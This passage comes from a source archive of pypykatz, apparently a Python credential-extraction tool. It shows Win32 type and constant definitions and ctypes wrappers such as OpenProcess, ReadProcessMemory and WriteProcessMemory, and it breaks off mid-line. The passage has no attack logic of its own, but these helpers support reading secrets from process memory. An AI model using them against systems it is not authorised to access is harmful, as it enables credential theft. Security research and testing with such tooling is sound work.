cygwin DOUBLE = ctypes.c_double # not sure on cygwin # Map size_t to SIZE_T try: SIZE_T = ctypes.c_size_t SSIZE_T = ctypes.c_ssize_t except AttributeError: # Size of a pointer SIZE_T = {1:BYTE, 2:WORD, 4:DWORD, 8:QWORD}[sizeof(LPVOID)] SSIZE_T = {1:SBYTE, 2:SWORD, 4:SDWORD, 8:SQWORD}[sizeof(LPVOID)] PSIZE_T = POINTER(SIZE_T) # Not really pointers but pointer-sized integers DWORD_PTR = SIZE_T ULONG_PTR = SIZE_T LONG_PTR = SIZE_T # Other Win32 types, more may be added as needed PVOID = LPVOID PPVOID = POINTER(PVOID) PSTR = LPSTR PWSTR = LPWSTR PCHAR = LPSTR PWCHAR = LPWSTR LPBYTE = POINTER(BYTE) LPSBYTE = POINTER(SBYTE) LPWORD = POINTER(WORD) LPSWORD = POINTER(SWORD) LPDWORD = POINTER(DWORD) LPSDWORD = POINTER(SDWORD) LPULONG = POINTER(ULONG) LPLONG = POINTER(LONG) PDWORD = LPDWORD PDWORD_PTR = POINTER(DWORD_PTR) PULONG = LPULONG PLONG = LPLONG CCHAR = CHAR BOOLEAN = BYTE PBOOL = POINTER(BOOL) LPBOOL = PBOOL TCHAR = CHAR # XXX ANSI by default? UCHAR = BYTE DWORDLONG = ULONGLONG LPDWORD32 = POINTER(DWORD32) LPULONG32 = POINTER(ULONG32) LPDWORD64 = POINTER(DWORD64) LPULONG64 = POINTER(ULONG64) PDWORD32 = LPDWORD32 PULONG32 = LPULONG32 PDWORD64 = LPDWORD64 PULONG64 = LPULONG64 ATOM = WORD HANDLE = LPVOID PHANDLE = POINTER(HANDLE) LPHANDLE = PHANDLE HMODULE = HANDLE HINSTANCE = HANDLE HTASK = HANDLE HKEY = HANDLE PHKEY = POINTER(HKEY) HDESK = HANDLE HRSRC = HANDLE HSTR = HANDLE HWINSTA = HANDLE HKL = HANDLE HDWP = HANDLE HFILE = HANDLE HRESULT = LONG HGLOBAL = HANDLE HLOCAL = HANDLE HGDIOBJ = HANDLE HDC = HGDIOBJ HRGN = HGDIOBJ HBITMAP = HGDIOBJ HPALETTE = HGDIOBJ HPEN = HGDIOBJ HBRUSH = HGDIOBJ HMF = HGDIOBJ HEMF = HGDIOBJ HENHMETAFILE = HGDIOBJ HMETAFILE = HGDIOBJ HMETAFILEPICT = HGDIOBJ HWND = HANDLE NTSTATUS = LONG PNTSTATUS = POINTER(NTSTATUS) KAFFINITY = ULONG_PTR RVA = DWORD RVA64 = QWORD WPARAM = DWORD LPARAM = LPVOID LRESULT = LPVOID ACCESS_MASK = DWORD REGSAM = ACCESS_MASK PACCESS_MASK = POINTER(ACCESS_MASK) PREGSAM = POINTER(REGSAM) # Since the SID is an opaque structure, let's treat its pointers as void* PSID = PVOID # typedef union _LARGE_INTEGER { # struct { # DWORD LowPart; # LONG HighPart; # } ; # struct { # DWORD LowPart; # LONG HighPart; # } u; # LONGLONG QuadPart; # } LARGE_INTEGER, # *PLARGE_INTEGER; # XXX TODO # typedef struct _FLOAT128 { # __int64 LowPart; # __int64 HighPart; # } FLOAT128; class FLOAT128 (Structure): _fields_ = [ ("LowPart", QWORD), ("HighPart", QWORD), ] PFLOAT128 = POINTER(FLOAT128) # typedef struct DECLSPEC_ALIGN(16) _M128A { # ULONGLONG Low; # LONGLONG High; # } M128A, *PM128A; class M128A(Structure): _fields_ = [ ("Low", ULONGLONG), ("High", LONGLONG), ] PM128A = POINTER(M128A) #--- Constants ---------------------------------------------------------------- NULL = None INFINITE = -1 TRUE = 1 FALSE = 0 # http://blogs.msdn.com/oldnewthing/archive/2004/08/26/220873.aspx ANYSIZE_ARRAY = 1 # Invalid handle value is -1 casted to void pointer. try: INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value #-1 #0xFFFFFFFF except TypeError: if sizeof(ctypes.c_void_p) == 4: INVALID_HANDLE_VALUE = 0xFFFFFFFF elif sizeof(ctypes.c_void_p) == 8: INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF else: raise MAX_MODULE_NAME32 = 255 MAX_PATH = 260 # Error codes # TODO maybe add more error codes? # if they're too many they could be pickled instead, # or at the very least put in a new file ERROR_SUCCESS = 0 ERROR_INVALID_FUNCTION = 1 ERROR_FILE_NOT_FOUND = 2 ERROR_PATH_NOT_FOUND = 3 ERROR_ACCESS_DENIED = 5 ERROR_INVALID_HANDLE = 6 ERROR_NOT_ENOUGH_MEMORY = 8 ERROR_INVALID_DRIVE = 15 ERROR_NO_MORE_FILES = 18 ERROR_BAD_LENGTH = 24 ERROR_HANDLE_EOF = 38 ERROR_HANDLE_DISK_FULL = 39 ERROR_NOT_SUPPORTED = 50 ERROR_FILE_EXISTS = 80 ERROR_INVALID_PARAMETER = 87 ERROR_BUFFER_OVERFLOW = 111 ERROR_DISK_FULL = 112 ERROR_CALL_NOT_IMPLEMENTED = 120 ERROR_SEM_TIMEOUT = 121 ERROR_INSUFFICIENT_BUFFER = 122 ERROR_INVALID_NAME = 123 ERROR_MOD_NOT_FOUND = 126 ERROR_PROC_NOT_FOUND = 127 ERROR_DIR_NOT_EMPTY = 145 ERROR_BAD_THREADID_ADDR = 159 ERROR_BAD_ARGUMENTS = 160 ERROR_BAD_PATHNAME = 161 ERROR_ALREADY_EXISTS = 183 ERROR_INVALID_FLAG_NUMBER = 186 ERROR_ENVVAR_NOT_FOUND = 203 ERROR_FILENAME_EXCED_RANGE = 206 ERROR_MORE_DATA = 234 WAIT_TIMEOUT = 258 ERROR_NO_MORE_ITEMS = 259 ERROR_PARTIAL_COPY = 299 ERROR_INVALID_ADDRESS = 487 ERROR_THREAD_NOT_IN_PROCESS = 566 ERROR_CONTROL_C_EXIT = 572 ERROR_UNHANDLED_EXCEPTION = 574 ERROR_ASSERTION_FAILURE = 668 ERROR_WOW_ASSERTION = 670 ERROR_DBG_EXCEPTION_NOT_HANDLED = 688 ERROR_DBG_REPLY_LATER = 689 ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690 ERROR_DBG_TERMINATE_THREAD = 691 ERROR_DBG_TERMINATE_PROCESS = 692 ERROR_DBG_CONTROL_C = 693 ERROR_DBG_PRINTEXCEPTION_C = 694 ERROR_DBG_RIPEXCEPTION = 695 ERROR_DBG_CONTROL_BREAK = 696 ERROR_DBG_COMMAND_EXCEPTION = 697 ERROR_DBG_EXCEPTION_HANDLED = 766 ERROR_DBG_CONTINUE = 767 ERROR_ELEVATION_REQUIRED = 740 ERROR_NOACCESS = 998 ERROR_CIRCULAR_DEPENDENCY = 1059 ERROR_SERVICE_DOES_NOT_EXIST = 1060 ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061 ERROR_SERVICE_NOT_ACTIVE = 1062 ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063 ERROR_EXCEPTION_IN_SERVICE = 1064 ERROR_DATABASE_DOES_NOT_EXIST = 1065 ERROR_SERVICE_SPECIFIC_ERROR = 1066 ERROR_PROCESS_ABORTED = 1067 ERROR_SERVICE_DEPENDENCY_FAIL = 1068 ERROR_SERVICE_LOGON_FAILED = 1069 ERROR_SERVICE_START_HANG = 1070 ERROR_INVALID_SERVICE_LOCK = 1071 ERROR_SERVICE_MARKED_FOR_DELETE = 1072 ERROR_SERVICE_EXISTS = 1073 ERROR_ALREADY_RUNNING_LKG = 1074 ERROR_SERVICE_DEPENDENCY_DELETED = 1075 ERROR_BOOT_ALREADY_ACCEPTED = 1076 ERROR_SERVICE_NEVER_STARTED = 1077 ERROR_DUPLICATE_SERVICE_NAME = 1078 ERROR_DIFFERENT_SERVICE_ACCOUNT = 1079 ERROR_CANNOT_DETECT_DRIVER_FAILURE = 1080 ERROR_CANNOT_DETECT_PROCESS_ABORT = 1081 ERROR_NO_RECOVERY_PROGRAM = 1082 ERROR_SERVICE_NOT_IN_EXE = 1083 ERROR_NOT_SAFEBOOT_SERVICE = 1084 ERROR_DEBUGGER_INACTIVE = 1284 ERROR_PRIVILEGE_NOT_HELD = 1314 ERROR_NONE_MAPPED = 1332 RPC_S_SERVER_UNAVAILABLE = 1722 # Standard access rights DELETE = 0x00010000 READ_CONTROL = 0x00020000 WRITE_DAC = 0x00040000 WRITE_OWNER = 0x00080000 SYNCHRONIZE = 0x00100000 STANDARD_RIGHTS_REQUIRED = 0x000F0000 STANDARD_RIGHTS_READ = READ_CONTROL STANDARD_RIGHTS_WRITE = READ_CONTROL STANDARD_RIGHTS_EXECUTE = READ_CONTROL STANDARD_RIGHTS_ALL = 0x001F0000 SPECIFIC_RIGHTS_ALL = 0x0000FFFF #--- Structures --------------------------------------------------------------- # typedef struct _LSA_UNICODE_STRING { # USHORT Length; # USHORT MaximumLength; # PWSTR Buffer; # } LSA_UNICODE_STRING, # *PLSA_UNICODE_STRING, # UNICODE_STRING, # *PUNICODE_STRING; class UNICODE_STRING(Structure): _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", PWSTR), ] # From MSDN: # # typedef struct _GUID { # DWORD Data1; # WORD Data2; # WORD Data3; # BYTE Data4[8]; # } GUID; class GUID(Structure): _fields_ = [ ("Data1", DWORD), ("Data2", WORD), ("Data3", WORD), ("Data4", BYTE * 8), ] # From MSDN: # # typedef struct _LIST_ENTRY { # struct _LIST_ENTRY *Flink; # struct _LIST_ENTRY *Blink; # } LIST_ENTRY, *PLIST_ENTRY, *RESTRICTED_POINTER PRLIST_ENTRY; class LIST_ENTRY(Structure): _fields_ = [ ("Flink", PVOID), # POINTER(LIST_ENTRY) ("Blink", PVOID), # POINTER(LIST_ENTRY) ] #============================================================================== # This calculates the list of exported symbols. _all = set(vars().keys()).difference(_all) ##__all__ = [_x for _x in _all if not _x.startswith('_')] ##__all__.sort() #============================================================================== ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/fileinfo.py0000664000175000017500000000111614543266630024577 0ustar00webdevwebdevfrom .version import * import ctypes def get_file_version_info(filename): # Get the file version info structure. pBlock = GetFileVersionInfoW(filename) pBuffer, dwLen = VerQueryValueW(pBlock.raw, "\\") if dwLen != ctypes.sizeof(VS_FIXEDFILEINFO): raise ctypes.WinError(ERROR_BAD_LENGTH) pVersionInfo = ctypes.cast(pBuffer, ctypes.POINTER(VS_FIXEDFILEINFO)) VersionInfo = pVersionInfo.contents if VersionInfo.dwSignature != 0xFEEF04BD: raise ctypes.WinError(ERROR_BAD_ARGUMENTS) FileDate = (VersionInfo.dwFileDateMS << 32) + VersionInfo.dwFileDateLS return FileDate././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/commons/readers/local/common/kernel32.py0000664000175000017500000005442114543266630024440 0ustar00webdevwebdev#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2009-2016, Mario Vilas # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, # this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above copyright # notice,this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # * Neither the name of the copyright holder nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE # POSSIBILITY OF SUCH DAMAGE. from .defines import * STILL_ACTIVE = 259 WAIT_TIMEOUT = 0x102 WAIT_FAILED = -1 WAIT_OBJECT_0 = 0 PAGE_NOACCESS = 0x01 PAGE_READONLY = 0x02 PAGE_READWRITE = 0x04 PAGE_WRITECOPY = 0x08 PAGE_EXECUTE = 0x10 PAGE_EXECUTE_READ = 0x20 PAGE_EXECUTE_READWRITE = 0x40 PAGE_EXECUTE_WRITECOPY = 0x80 PAGE_GUARD = 0x100 PAGE_NOCACHE = 0x200 PAGE_WRITECOMBINE = 0x400 MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 MEM_DECOMMIT = 0x4000 MEM_RELEASE = 0x8000 MEM_FREE = 0x10000 MEM_PRIVATE = 0x20000 MEM_MAPPED = 0x40000 MEM_RESET = 0x80000 MEM_TOP_DOWN = 0x100000 MEM_WRITE_WATCH = 0x200000 MEM_PHYSICAL = 0x400000 MEM_LARGE_PAGES = 0x20000000 MEM_4MB_PAGES = 0x80000000 SEC_FILE = 0x800000 SEC_IMAGE = 0x1000000 SEC_RESERVE = 0x4000000 SEC_COMMIT = 0x8000000 SEC_NOCACHE = 0x10000000 SEC_LARGE_PAGES = 0x80000000 MEM_IMAGE = SEC_IMAGE WRITE_WATCH_FLAG_RESET = 0x01 FILE_MAP_ALL_ACCESS = 0xF001F class UserModeHandle (HANDLE): """ Base class for non-kernel handles. Generally this means they are closed by special Win32 API functions instead of CloseHandle() and some standard operations (synchronizing, duplicating, inheritance) are not supported. @type _TYPE: C type @cvar _TYPE: C type to translate this handle to. Subclasses should override this. Defaults to L{HANDLE}. """ # Subclasses should override this. _TYPE = HANDLE # This method must be implemented by subclasses. def _close(self): raise NotImplementedError() # Translation to C type. @property def _as_parameter_(self): return self._TYPE(self.value) # Translation to C type. @staticmethod def from_param(value): return self._TYPE(self.value) # Operation not supported. @property def inherit(self): return False # Operation not supported. @property def protectFromClose(self): return False # Operation not supported. def dup(self): raise NotImplementedError() # Operation not supported. def wait(self, dwMilliseconds = None): raise NotImplementedError() # Don't psyco-optimize this class because it needs to be serialized. class MemoryBasicInformation(object): """ Memory information object returned by L{VirtualQueryEx}. """ READABLE = ( PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY | PAGE_READONLY | PAGE_READWRITE | PAGE_WRITECOPY ) WRITEABLE = ( PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY | PAGE_READWRITE | PAGE_WRITECOPY ) COPY_ON_WRITE = ( PAGE_EXECUTE_WRITECOPY | PAGE_WRITECOPY ) EXECUTABLE = ( PAGE_EXECUTE | PAGE_EXECUTE_READ | PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY ) EXECUTABLE_AND_WRITEABLE = ( PAGE_EXECUTE_READWRITE | PAGE_EXECUTE_WRITECOPY ) def __init__(self, mbi=None): """ @type mbi: L{MEMORY_BASIC_INFORMATION} or L{MemoryBasicInformation} @param mbi: Either a L{MEMORY_BASIC_INFORMATION} structure or another L{MemoryBasicInformation} instance. """ if mbi is None: self.BaseAddress = None self.AllocationBase = None self.AllocationProtect = None self.RegionSize = None self.State = None self.Protect = None self.Type = None else: self.BaseAddress = mbi.BaseAddress self.AllocationBase = mbi.AllocationBase self.AllocationProtect = mbi.AllocationProtect self.RegionSize = mbi.RegionSize self.State = mbi.State self.Protect = mbi.Protect self.Type = mbi.Type # Only used when copying MemoryBasicInformation objects, instead of # instancing them from a MEMORY_BASIC_INFORMATION structure. if hasattr(mbi, 'content'): self.content = mbi.content if hasattr(mbi, 'filename'): self.content = mbi.filename def __contains__(self, address): """ Test if the given memory address falls within this memory region. @type address: int @param address: Memory address to test. @rtype: bool @return: C{True} if the given memory address falls within this memory region, C{False} otherwise. """ return self.BaseAddress <= address < (self.BaseAddress + self.RegionSize) def is_free(self): """ @rtype: bool @return: C{True} if the memory in this region is free. """ return self.State == MEM_FREE def is_reserved(self): """ @rtype: bool @return: C{True} if the memory in this region is reserved. """ return self.State == MEM_RESERVE def is_commited(self): """ @rtype: bool @return: C{True} if the memory in this region is commited. """ return self.State == MEM_COMMIT def is_image(self): """ @rtype: bool @return: C{True} if the memory in this region belongs to an executable image. """ return self.Type == MEM_IMAGE def is_mapped(self): """ @rtype: bool @return: C{True} if the memory in this region belongs to a mapped file. """ return self.Type == MEM_MAPPED def is_private(self): """ @rtype: bool @return: C{True} if the memory in this region is private. """ return self.Type == MEM_PRIVATE def is_guard(self): """ @rtype: bool @return: C{True} if all pages in this region are guard pages. """ return self.is_commited() and bool(self.Protect & PAGE_GUARD) def has_content(self): """ @rtype: bool @return: C{True} if the memory in this region has any data in it. """ return self.is_commited() and not bool(self.Protect & (PAGE_GUARD | PAGE_NOACCESS)) def is_readable(self): """ @rtype: bool @return: C{True} if all pages in this region are readable. """ return self.has_content() and bool(self.Protect & self.READABLE) def is_writeable(self): """ @rtype: bool @return: C{True} if all pages in this region are writeable. """ return self.has_content() and bool(self.Protect & self.WRITEABLE) def is_copy_on_write(self): """ @rtype: bool @return: C{True} if all pages in this region are marked as copy-on-write. This means the pages are writeable, but changes are not propagated to disk. @note: Tipically data sections in executable images are marked like this. """ return self.has_content() and bool(self.Protect & self.COPY_ON_WRITE) def is_executable(self): """ @rtype: bool @return: C{True} if all pages in this region are executable. @note: Executable pages are always readable. """ return self.has_content() and bool(self.Protect & self.EXECUTABLE) def is_executable_and_writeable(self): """ @rtype: bool @return: C{True} if all pages in this region are executable and writeable. @note: The presence of such pages make memory corruption vulnerabilities much easier to exploit. """ return self.has_content() and bool(self.Protect & self.EXECUTABLE_AND_WRITEABLE) # DWORD WINAPI GetLastError(void); def GetLastError(): _GetLastError = windll.kernel32.GetLastError _GetLastError.argtypes = [] _GetLastError.restype = DWORD return _GetLastError() # typedef struct _MEMORY_BASIC_INFORMATION { # PVOID BaseAddress; # PVOID AllocationBase; # DWORD AllocationProtect; # SIZE_T RegionSize; # DWORD State; # DWORD Protect; # DWORD Type; # } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION; class MEMORY_BASIC_INFORMATION(Structure): _fields_ = [ ('BaseAddress', SIZE_T), # remote pointer ('AllocationBase', SIZE_T), # remote pointer ('AllocationProtect', DWORD), ('RegionSize', SIZE_T), ('State', DWORD), ('Protect', DWORD), ('Type', DWORD), ] PMEMORY_BASIC_INFORMATION = POINTER(MEMORY_BASIC_INFORMATION) # BOOL WINAPI CloseHandle( # __in HANDLE hObject # ); def CloseHandle(hHandle): if hasattr(hHandle, 'close'): # Prevents the handle from being closed without notifying the Handle object. hHandle.close() else: _CloseHandle = windll.kernel32.CloseHandle _CloseHandle.argtypes = [HANDLE] _CloseHandle.restype = bool _CloseHandle.errcheck = RaiseIfZero _CloseHandle(hHandle) # DWORD WINAPI GetCurrentProcessId(void); def GetCurrentProcessId(): _GetCurrentProcessId = windll.kernel32.GetCurrentProcessId _GetCurrentProcessId.argtypes = [] _GetCurrentProcessId.restype = DWORD return _GetCurrentProcessId() # BOOL WINAPI QueryFullProcessImageName( # __in HANDLE hProcess, # __in DWORD dwFlags, # __out LPTSTR lpExeName, # __inout PDWORD lpdwSize # ); def QueryFullProcessImageNameW(hProcess, dwFlags = 0): _QueryFullProcessImageNameW = windll.kernel32.QueryFullProcessImageNameW _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, PDWORD] _QueryFullProcessImageNameW.restype = bool dwSize = MAX_PATH while 1: lpdwSize = DWORD(dwSize) lpExeName = ctypes.create_unicode_buffer('', lpdwSize.value + 1) success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) if success and 0 < lpdwSize.value < dwSize: break error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) dwSize = dwSize + 256 if dwSize > 0x1000: # this prevents an infinite loop in Windows 2008 when the path has spaces, # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 raise ctypes.WinError(error) return lpExeName.value # HANDLE WINAPI OpenProcess( # __in DWORD dwDesiredAccess, # __in BOOL bInheritHandle, # __in DWORD dwProcessId # ); def OpenProcess(dwDesiredAccess, bInheritHandle, dwProcessId): _OpenProcess = windll.kernel32.OpenProcess _OpenProcess.argtypes = [DWORD, BOOL, DWORD] _OpenProcess.restype = HANDLE hProcess = _OpenProcess(dwDesiredAccess, bool(bInheritHandle), dwProcessId) if hProcess == NULL: raise ctypes.WinError() return hProcess # BOOL WINAPI ReadProcessMemory( # __in HANDLE hProcess, # __in LPCVOID lpBaseAddress, # __out LPVOID lpBuffer, # __in SIZE_T nSize, # __out SIZE_T* lpNumberOfBytesRead # ); def ReadProcessMemory(hProcess, lpBaseAddress, nSize): _ReadProcessMemory = windll.kernel32.ReadProcessMemory _ReadProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)] _ReadProcessMemory.restype = bool lpBuffer = ctypes.create_string_buffer(nSize) lpNumberOfBytesRead = SIZE_T(0) success = _ReadProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesRead)) if not success and GetLastError() != ERROR_PARTIAL_COPY: raise ctypes.WinError() return lpBuffer.raw[:lpNumberOfBytesRead.value] # BOOL WINAPI WriteProcessMemory( # __in HANDLE hProcess, # __in LPCVOID lpBaseAddress, # __in LPVOID lpBuffer, # __in SIZE_T nSize, # __out SIZE_T* lpNumberOfBytesWritten # ); def WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer): _WriteProcessMemory = windll.kernel32.WriteProcessMemory _WriteProcessMemory.argtypes = [HANDLE, LPVOID, LPVOID, SIZE_T, POINTER(SIZE_T)] _WriteProcessMemory.restype = bool nSize = len(lpBuffer) lpBuffer = ctypes.create_string_buffer(lpBuffer) lpNumberOfBytesWritten = SIZE_T(0) success = _WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, byref(lpNumberOfBytesWritten)) if not success and GetLastError() != ERROR_PARTIAL_COPY: raise ctypes.WinError() return lpNumberOfBytesWritten.value # SIZE_T WINAPI VirtualQueryEx( # __in HANDLE hProcess, # __in_opt LPCVOID lpAddress, # __out PMEMORY_BASIC_INFORMATION lpBuffer, # __in SIZE_T dwLength # ); def VirtualQueryEx(hProcess, lpAddress): _VirtualQueryEx = windll.kernel32.VirtualQueryEx _VirtualQueryEx.argtypes = [HANDLE, LPVOID, PMEMORY_BASIC_INFORMATION, SIZE_T] _VirtualQueryEx.restype = SIZE_T lpBuffer = MEMORY_BASIC_INFORMATION() dwLength = sizeof(MEMORY_BASIC_INFORMATION) success = _VirtualQueryEx(hProcess, lpAddress, byref(lpBuffer), dwLength) if success == 0: raise ctypes.WinError() return MemoryBasicInformation(lpBuffer) # HLOCAL WINAPI LocalFree( # __in HLOCAL hMem # ); def LocalFree(hMem): _LocalFree = windll.kernel32.LocalFree _LocalFree.argtypes = [HLOCAL] _LocalFree.restype = HLOCAL result = _LocalFree(hMem) if result != NULL: ctypes.WinError() #--- SECURITY_ATTRIBUTES structure -------------------------------------------- # typedef struct _SECURITY_ATTRIBUTES { # DWORD nLength; # LPVOID lpSecurityDescriptor; # BOOL bInheritHandle; # } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES; class SECURITY_ATTRIBUTES(Structure): _fields_ = [ ('nLength', DWORD), ('lpSecurityDescriptor', LPVOID), ('bInheritHandle', BOOL), ] LPSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) # --- Extended process and thread attribute support --------------------------- PPROC_THREAD_ATTRIBUTE_LIST = LPVOID LPPROC_THREAD_ATTRIBUTE_LIST = PPROC_THREAD_ATTRIBUTE_LIST PROC_THREAD_ATTRIBUTE_NUMBER = 0x0000FFFF PROC_THREAD_ATTRIBUTE_THREAD = 0x00010000 # Attribute may be used with thread creation PROC_THREAD_ATTRIBUTE_INPUT = 0x00020000 # Attribute is input only PROC_THREAD_ATTRIBUTE_ADDITIVE = 0x00040000 # Attribute may be "accumulated," e.g. bitmasks, counters, etc. # PROC_THREAD_ATTRIBUTE_NUM ProcThreadAttributeParentProcess = 0 ProcThreadAttributeExtendedFlags = 1 ProcThreadAttributeHandleList = 2 ProcThreadAttributeGroupAffinity = 3 ProcThreadAttributePreferredNode = 4 ProcThreadAttributeIdealProcessor = 5 ProcThreadAttributeUmsThread = 6 ProcThreadAttributeMitigationPolicy = 7 ProcThreadAttributeMax = 8 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = ProcThreadAttributeParentProcess | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_EXTENDED_FLAGS = ProcThreadAttributeExtendedFlags | PROC_THREAD_ATTRIBUTE_INPUT | PROC_THREAD_ATTRIBUTE_ADDITIVE PROC_THREAD_ATTRIBUTE_HANDLE_LIST = ProcThreadAttributeHandleList | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_GROUP_AFFINITY = ProcThreadAttributeGroupAffinity | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_PREFERRED_NODE = ProcThreadAttributePreferredNode | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_IDEAL_PROCESSOR = ProcThreadAttributeIdealProcessor | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_UMS_THREAD = ProcThreadAttributeUmsThread | PROC_THREAD_ATTRIBUTE_THREAD | PROC_THREAD_ATTRIBUTE_INPUT PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = ProcThreadAttributeMitigationPolicy | PROC_THREAD_ATTRIBUTE_INPUT PROCESS_CREATION_MITIGATION_POLICY_DEP_ENABLE = 0x01 PROCESS_CREATION_MITIGATION_POLICY_DEP_ATL_THUNK_ENABLE = 0x02 PROCESS_CREATION_MITIGATION_POLICY_SEHOP_ENABLE = 0x04 #--- PROCESS_INFORMATION structure -------------------------------------------- # typedef struct _PROCESS_INFORMATION { # HANDLE hProcess; # HANDLE hThread; # DWORD dwProcessId; # DWORD dwThreadId; # } PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION; class PROCESS_INFORMATION(Structure): _fields_ = [ ('hProcess', HANDLE), ('hThread', HANDLE), ('dwProcessId', DWORD), ('dwThreadId', DWORD), ] LPPROCESS_INFORMATION = POINTER(PROCESS_INFORMATION) #--- STARTUPINFO and STARTUPINFOEX structures --------------------------------- # typedef struct _STARTUPINFO { # DWORD cb; # LPTSTR lpReserved; # LPTSTR lpDesktop; # LPTSTR lpTitle; # DWORD dwX; # DWORD dwY; # DWORD dwXSize; # DWORD dwYSize; # DWORD dwXCountChars; # DWORD dwYCountChars; # DWORD dwFillAttribute; # DWORD dwFlags; # WORD wShowWindow; # WORD cbReserved2; # LPBYTE lpReserved2; # HANDLE hStdInput; # HANDLE hStdOutput; # HANDLE hStdError; # }STARTUPINFO, *LPSTARTUPINFO; class STARTUPINFO(Structure): _fields_ = [ ('cb', DWORD), ('lpReserved', LPSTR), ('lpDesktop', LPSTR), ('lpTitle', LPSTR), ('dwX', DWORD), ('dwY', DWORD), ('dwXSize', DWORD), ('dwYSize', DWORD), ('dwXCountChars', DWORD), ('dwYCountChars', DWORD), ('dwFillAttribute', DWORD), ('dwFlags', DWORD), ('wShowWindow', WORD), ('cbReserved2', WORD), ('lpReserved2', LPVOID), # LPBYTE ('hStdInput', HANDLE), ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] LPSTARTUPINFO = POINTER(STARTUPINFO) # typedef struct _STARTUPINFOEX { # STARTUPINFO StartupInfo; # PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; # } STARTUPINFOEX, *LPSTARTUPINFOEX; class STARTUPINFOEX(Structure): _fields_ = [ ('StartupInfo', STARTUPINFO), ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), ] LPSTARTUPINFOEX = POINTER(STARTUPINFOEX) class STARTUPINFOW(Structure): _fields_ = [ ('cb', DWORD), ('lpReserved', LPWSTR), ('lpDesktop', LPWSTR), ('lpTitle', LPWSTR), ('dwX', DWORD), ('dwY', DWORD), ('dwXSize', DWORD), ('dwYSize', DWORD), ('dwXCountChars', DWORD), ('dwYCountChars', DWORD), ('dwFillAttribute', DWORD), ('dwFlags', DWORD), ('wShowWindow', WORD), ('cbReserved2', WORD), ('lpReserved2', LPVOID), # LPBYTE ('hStdInput', HANDLE), ('hStdOutput', HANDLE), ('hStdError', HANDLE), ] LPSTARTUPINFOW = POINTER(STARTUPINFOW) class STARTUPINFOEXW(Structure): _fields_ = [ ('StartupInfo', STARTUPINFOW), ('lpAttributeList', PPROC_THREAD_ATTRIBUTE_LIST), ] LPSTARTUPINFOEXW = POINTER(STARTUPINFOEXW) class SYSTEM_PROCESS_ID_INFORMATION(Structure): _fields_ = (('ProcessId', HANDLE), ('ImageName', UNICODE_STRING), ) class SYSTEM_INFORMATION_CLASS(ctypes.c_ulong): def __repr__(self): return '%s(%s)' % (type(self).__name__, self.value) ProcessBasicInformation = SYSTEM_INFORMATION_CLASS(0) ProcessProtectionInformation = SYSTEM_INFORMATION_CLASS(61) SystemExtendedHandleInformation = SYSTEM_INFORMATION_CLASS(64) SystemProcessIdInformation = 